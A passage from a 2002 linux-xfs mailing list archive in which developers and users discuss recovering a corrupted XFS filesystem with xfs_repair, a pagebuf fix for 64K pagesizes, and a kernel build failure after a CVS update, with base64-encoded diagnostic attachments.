bitmap ino pointer to 18446744069414584449 > > sb realtime summary inode 18446744073709551615 inconsistent with > > calculated value 13835051801809780866 > > resetting superblock realtime summary ino pointer to > > 18446744069414584450 > > Phase 2 - using internal log > > - zero log... > > ERROR: The filesystem has valuable metadata changes in a log which needs > > to be replayed. Mount the filesystem to replay the log, and unmount it > > before re-running xfs_repair. If you are unable to mount the > > filesystem, then use the -L option to destroy the log and attempt a > > repair. > > Note that destroying the log may cause corruption -- please attempt a > > mount of the filesystem before doing this. > > > > > > In the past, sometimes the entire contents of the disk end up in > > lost+found after xfs_repair -L. I ran xfs_repair -n, and it seemed to > > want to unlink quite a few inodes (thousands, including system files > > that could not have possibly been in active use during operation). Yes, > > the system crashed, I'm not absolutely positive I had write caching > > turned off (I've been using hdparm -W 0) on this system. > > > > It was running 2.4.18 with xfs 1.1, not the latest CVS stuff. Also, I > > ran the checks on a system with xfsprogs-2.0.3-0.rpm installed. > > > > Anybody can offer any hope, or do I mkfs now? If there's a recovery > > from this, that would save me and my sysadmins countless hours of work > > into the future, as we have perhaps 100 machines running xfs on linux. > > > > Thanks. > > > > -- > > > > christian rice director of technology > > tippett studio 510.649.9711 l--xr----- > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com -- christian rice director of technology tippett studio 510.649.9711 l--xr----- --------------9F1F88350A8859F367C2797E Content-Type: application/x-gzip; name="xxx.gz" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="xxx.gz" H4sICHpUXD0AA3h4eACLcAt2YmAQYACDntvfGNBAD8ejjhlPBK/Nbjtwalru ietgQQ8Glv84AAPIMBawKhWICSwbFFqYGBiB4vpI5vJwcrAIMTBIotsHsfTa NqziCMBEQH4UEAkiHN3dgBQjmAOON+enDAxuu6DSjHA5CGAGq2IuymVgzheg pztHAW0AMP49GVDiX9SBgUFRFSrWwsDkoIArr48kMFDxQ3tgJAzEIkAsCsRi A+2aUTAKRsEoGAWjYBSMglFAWwAAhI3cwgAQAAA= --------------9F1F88350A8859F367C2797E Content-Type: application/x-gzip; name="xfs_check.out.gz" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="xfs_check.out.gz" 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 8oF2JYOd8ZhOaxwvNGFnjL47YWlcZnvgqFhBwaNiwz+eSuoDxRpy9NGi+Bfh 1YL4J+E38O17StOP20H/8fXoHgpU/ucj/PbXv65fv335/Hj9fS6PIJ/LTfs3 6OfP+adH+HMqj5HH+re/rPP3dXl8//tf1sevHz99fP7Hx+PH+k/LTN+nf2QT weZ+1g0E6whWCFYJ1hPsSLCBYIncHJGbI3ITIjchchMiNyFyEyI3IXITIjch chMiNyFyUyI3JXJTIjclclMiNyVyUyI3JXJTIjclcvNEbp7IzRO5eSI3T+Tm idw8kZsncvNEbp7IbSRyG4ncRiK3kchtJHIbidxGIreRyG0kchuJ3AKRWyBy C0RugcgtELkFIrdA5BaI3AKRWyByi0RukcgtErlFIrdI5BaJ3CKRWyRyi0Ru kcgtEbklIrdE5JaI3BKRWyJyS0RuicgtEbklIrdM5JaJ3DKRWyZyy0Rumcgt E7llIrdM5Jb7c0tDf271H8TpZ/tzq/8oTj/bn1sa+nNLQ39uifAlifAlifAl ifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAl ifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAl ifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAl ifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAl ifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAl ifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAlifAl mfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAl mfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlmfAlud+XuDJf7764Cndf XYW7L6/C3dcnQ+6/CYsb+u/CFe7uFhXubroKdzddhbubrsL9TVfg7r5R4e5B XeHuUS1CLDuIEOsOFe5PUIiVhwr3JyjE2kOF+xMUYvWhwv0JCrH+UGEmwf4n aoWZBPufqRVmEux/qlaYSbD/uVphJsH+J2uFmQT7n60VZhLsf7pWmEmw//la YSbB/idshZkE+9ckKswk2L8qUWEmwf51iQozCfavTFSYSbB/baLCTIL9qxMV ZhLsX5+oMJNg/wpFhZkE+9coKswk2L9KUWEmwf51igozCfavVFSYSbB/raLC TIL9qxUVZhLsX6+oMJNg/4pFhZkE+9csKswk2L9qUWEmwf51iwozCfavXFSY SbB/7aLCTIL9qxcVZhLsX7+oMJNg/wpGhZkE+9cwKswk2L+KUWEmwf51jAoz CfavZFSYSbB/LaPCTIL9qxkVZhLsX8+oMJNg/4pGhZkE+3VWhZkE+3VWhZkE +9c1Kswk2L+yUWEiQWJto8JEgsTqRoWJBIn1jQoTCRIrHBUmEiTWOCrMJMg4 GWKZo8JMgoyTIVY6KswkyDgZYrGjwkyCjJMh1jsqzCTIOBliyaPCTIKMkyFW PSrMJMg4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4 mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcw4mcxU9Jmp6DNT 0Wemos9MRZ+Zij4zFX1mKvrMVPSZqegzU9FnpqLPTEWfmYo+MxV9Zir6zFT0 manoM1PRZ6aiz0xFn5mKPjMVfWYq+sxU9Jmp6DNT0Wemos9MRZ+Zij4zFX1m KvrMVPSZqegzU9Ez+2SU2SejzD4ZZfbJKLNPRpl9Msrsk1Fmn4wy+2SU2SdT YCZBoqIvMJMgUdEXmEmQqOgLzCRIVPQFZhIkKvoCMwkSFX2BmQSJir7ATIJE RV9gJkGioi8wkyBR0ReYSZCo6AvMJEhU9AVmEiQqeh2Iir7ATIJERV9gJkGi oteBqOgLzCRIVPQFZhIkKvoCMwkSFX2BmQSJir7ATIJERV9gJkGioi8wkyCx y6LATILELosCMwkSuywKzCRI7LLQgdhlUWAmQWKXRYGZBAknU2AmQcLJ6EA4 GR0IJ6MD4WQKzCRIOJkCMwkSTqbATIKEkykwkyDhZArMJEg4mQIzCRJOpsBM goSTKTCTIOFkCswkSDiZAjMJEk6mwEyChJMpMJMg4WQKzCRIOJkCMwkSTqbA RIKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKO cTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKO cTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKO cTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKO cTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKO cTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKO cTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTKOcTLCOBlhnIwwTkYYJyOM kxHGyQjjZIRxMsI4GWGcjDBORhgnI4yTEcbJCONkhHEywjgZYZyMME5GGCcj jJMRxskI42SEcTLCOBlhnIwwTkYYJyOMkxHGyQjjZIRxMsI4GWGcjDBORhgn I4yTEcbJCONkhHEywjgZYZyMME5GGCcjjJMRxskI42SEcTLCOBlhnIwwTkYY JyOMkxHGyQjjZIRxMsI4GWGcjDBORhgnI4yTEcbJCONkhHEywjgZYZyMME5G GCcjjJMRxskI42SEcTLCOBlhnIwwTkYYJyOMkxHGyQjjZIRxMsI4GWGcjDBO RhgnI4yTEcbJCONkhHEywjgZYZyMME5GGCcjjJMRxskI42SEcTLCOBlhnIww TkYYJ6OMk1HGySjjZJRxMso4GWWcjDJORhkno4yTUcbJKONklHEyyjgZZZyM Mk5GGSejjJNRxsko42SUcTLKOBllnIwyTkYZJ6OMk1HGySjjZJRxMso4GWWc jDJORhkno4yTUcbJKONklHEyyjgZZZyMMk5GGSejjJNRxsko42SUcTLKOBll nIwyTkYZJ6OMk1HGySjjZJRxMso4GWWcjDJORhkno4yTUcbJKONklHEyyjgZ ZZyMMk5GGSejjJNRxsko42SUcTLKOBllnIwyTkYZJ6OMk1HGySjjZJRxMso4 GWWcjDJORhkno4yTUcbJKONklHEyyjgZZZyMMk5GGSejjJNRxsko42SUcTLK OBllnIwyTkYZJ6OMk1HGySjjZJRxMp5xMp5xMp5xMp5xMp5xMp5xMp5xMp5x Mp5xMr7DyUzLY/rxy+OX8p/58cfH8PjyUf7HI/z2l7+uX799+fw4/W2ePv7p ++Pbuv5U/9f25ef129+/fV9/eUzfH8/nI2aJPtZ/dVjK9MEd+Nf1dcTt58d+ htvn13q08lwYnAs+dx01DTIMZVaZ/D8e9fn967oeh/3teH92IdZ/wVF6DhyG GMehwMPQc2DnXHTZe6olfLo/9PCH0kL/vpU/PX/+6dvDlWlu+JfH/PnrR83w vxOoyfz68fOXj5/K/37+Ov+0fq9//fYI/4U8/vnLx+ey/puMLoxJhz/Bz7j6 GQlS318wH/QSc0j4g1I/mGKZltnvi37Mgj+m9WNurD8uZz+XXIkXf86/Poev TUb8mfH1mSpTwceik4w/FurHvIT6SrT54JhdHvyfjtGxmXETf/uLHTfxGJrx z793r/z2PLDhfwKrPennL9++v+E3/Ibf8Bt+w2/4Db/hN/yG3/AbfsNv+A2/ 4Tf8ht/w/yfY3fyj9+gDv7utEX7g95ay4Ad+bznr/2pTvuE3/Ibf8Bt+w2/4 Db/hN/yG3/AbfsNv+A2/4Tf8ht/wG3776P9N+D8BgLFhTOkoAQA= --------------9F1F88350A8859F367C2797E-- From owner-linux-xfs@oss.sgi.com Thu Aug 15 20:06:40 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G36ZRw017198 for ; Thu, 15 Aug 2002 20:06:40 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G36Zvp017197 for linux-xfs-outgoing; Thu, 15 Aug 2002 20:06:35 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G36SRw017168 for ; Thu, 15 Aug 2002 20:06:28 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id UAA05672 for ; Thu, 15 Aug 2002 20:09:50 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id NAA86754 for linux-xfs@oss.sgi.com; Fri, 16 Aug 2002 13:07:48 +1000 (EST) Date: Fri, 16 Aug 2002 13:07:48 +1000 (EST) From: Nathan Scott Message-Id: <200208160307.NAA86754@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - Fix XFS (pagebuf) with 64K pagesizes X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk It's now possible to mount XFS filesystems on IA64 kernels built with a 64K pagesize, previously this would have either failed, hung or panic'd depending on the phase of the moon. Date: Thu Aug 15 19:57:47 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125235a linux/fs/xfs/xfsidbg.c - 1.196 linux/fs/xfs/pagebuf/page_buf.h - 1.35 - Change pb_error, pb_page_count and pb_offset to be unsigned shorts, not signed. The pb_offset fix gets XFS working on systems with a 64K pagesize. linux/fs/xfs/pagebuf/page_buf.c - 1.52 - Split IO requests which are too large for a single buffer_head (b_size is an unsigned short). This gets XFS working on systems with a 64K pagesize. From owner-linux-xfs@oss.sgi.com Thu Aug 15 20:36:35 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G3aZRw017594 for ; Thu, 15 Aug 2002 20:36:35 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G3aYfh017593 for linux-xfs-outgoing; Thu, 15 Aug 2002 20:36:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G3aSRw017565 for ; Thu, 15 Aug 2002 20:36:28 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id WAA43608; Thu, 15 Aug 2002 22:39:01 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id WAA16183; Thu, 15 Aug 2002 22:39:01 -0500 (CDT) Date: Thu, 15 Aug 2002 22:38:58 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Christian Rice cc: Stephen Lord , Subject: Re: corruption issue In-Reply-To: <3D5C5B23.5126D407@tippett.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 15 Aug 2002, Christian Rice wrote: > Yeah, I ran xfs_repair on it after trying a mount and getting the usual: > > [root@ozu tmp]# mount -t xfs /dev/hdb3 /hdb3 > mount: wrong fs type, bad option, bad superblock on /dev/hdb3, > or too many mounted file systems Christian - Do you have any idea what the true error was behind mount's very unhelpful error message? It would be in the system logs. I suppose it was a recovery error, but it might be interesting to see what went wrong in the first place. You've said that this happens to you more than you would like... again, it would be interesting to see if the original mount failure is the same. Thanks, -Eric From owner-linux-xfs@oss.sgi.com Thu Aug 15 20:42:23 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G3gNRw024801 for ; Thu, 15 Aug 2002 20:42:23 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G3gNlV024799 for linux-xfs-outgoing; Thu, 15 Aug 2002 20:42:23 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G3gBRw024321 for ; Thu, 15 Aug 2002 20:42:11 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id WAA43013; Thu, 15 Aug 2002 22:44:43 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id WAA34384; Thu, 15 Aug 2002 22:44:43 -0500 (CDT) Date: Thu, 15 Aug 2002 22:44:40 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Jason White cc: linux-xfs Subject: Re: Are there mmap problems with xfs 2.4.17? In-Reply-To: <15708.22618.786062.458402@jdc.local> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 16 Aug 2002, Jason White wrote: > The kernel I am running is: > Linux jdc 2.4.17-xfs #1 Sat Jan 19 16:47:16 EST 2002 i686 > (checked out from cvs on that date). > > Any suggestions? Hi Jason - Yes, my suggestion would be to please upgrade your kernel and see if it goes away. I understand that you may not want to bring your system to 2.4.19 yet, but the XFS that was in 2.4.17 in the paleolithic days of Jan 2001 is quite different from the code in CVS today. If you can boot it up for a trial, it would be very helpful, as we really aren't able to go back to debug 9 month old code. Thanks, -Eric From owner-linux-xfs@oss.sgi.com Thu Aug 15 21:54:38 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G4scRw025491 for ; Thu, 15 Aug 2002 21:54:38 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G4scHm025490 for linux-xfs-outgoing; Thu, 15 Aug 2002 21:54:38 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sunny.pacific.net.au (sunny.pacific.net.au [203.25.148.40]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G4sTRw025456 for ; Thu, 15 Aug 2002 21:54:30 -0700 Received: from wisma.pacific.net.au (wisma.pacific.net.au [210.23.129.72]) by sunny.pacific.net.au with ESMTP id g7G4v7vm015901 for ; Fri, 16 Aug 2002 14:57:07 +1000 (EST) Received: from jdc.local (ppp81.dyn134.pacific.net.au [210.23.134.81]) by wisma.pacific.net.au with ESMTP id OAA18845 for ; Fri, 16 Aug 2002 14:57:06 +1000 (EST) Received: from jdc.local (LOCALHOST [127.0.0.1]) by jdc.local (8.12.1/8.12.1/Debian -5) with ESMTP id g7G4v4WX012110 for ; Fri, 16 Aug 2002 14:57:04 +1000 Received: (from jason@localhost) by jdc.local (8.12.1/8.12.1/Debian -5) id g7G4v2kG012102; Fri, 16 Aug 2002 14:57:02 +1000 From: Jason White MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15708.34333.953994.923975@jdc.local> Date: Fri, 16 Aug 2002 14:57:01 +1000 To: linux-xfs Subject: Re: Are there mmap problems with xfs 2.4.17? In-Reply-To: References: <15708.22618.786062.458402@jdc.local> X-Mailer: VM 7.01 under Emacs 20.7.2 Reply-To: jasonw@ariel.ucs.unimelb.edu.au X-Spam-Status: No, hits=-4.3 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,TO_LOCALPART_EQ_REAL,SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Eric Sandeen writes: > > Hi Jason - Yes, my suggestion would be to please upgrade your kernel > and see if it goes away. I have been running cvs update -dP regularly. After updating again this afternoon, I tried to compile the kernel, and received: gcc -D__KERNEL__ -I/home/jason/xfs/linux-2.4-xfs/linux/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=i686 -malign-functions=4 -DKBUILD_BASENAME=main -c -o init/main.o init/main.c In file included from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/capability.h:17, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/binfmts.h:5, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/sched.h:9, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/mm.h:4, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/slab.h:14, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/proc_fs.h:5, from init/main.c:15: /home/jason/xfs/linux-2.4-xfs/linux/include/linux/fs.h:337: linux/xfs_fs_i.h: No such file or directory In file included from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/capability.h:17, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/binfmts.h:5, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/sched.h:9, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/mm.h:4, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/slab.h:14, from /home/jason/xfs/linux-2.4-xfs/linux/include/linux/proc_fs.h:5, from init/main.c:15: /home/jason/xfs/linux-2.4-xfs/linux/include/linux/fs.h:529: field `xfs_i' has incomplete type make: *** [init/main.o] Error 1 Is it time to start from scratch with a full cvs checkout? I can't think of a good reason why it wouldn't be in line with the repository, however. From owner-linux-xfs@oss.sgi.com Thu Aug 15 22:04:05 2002 Received: from 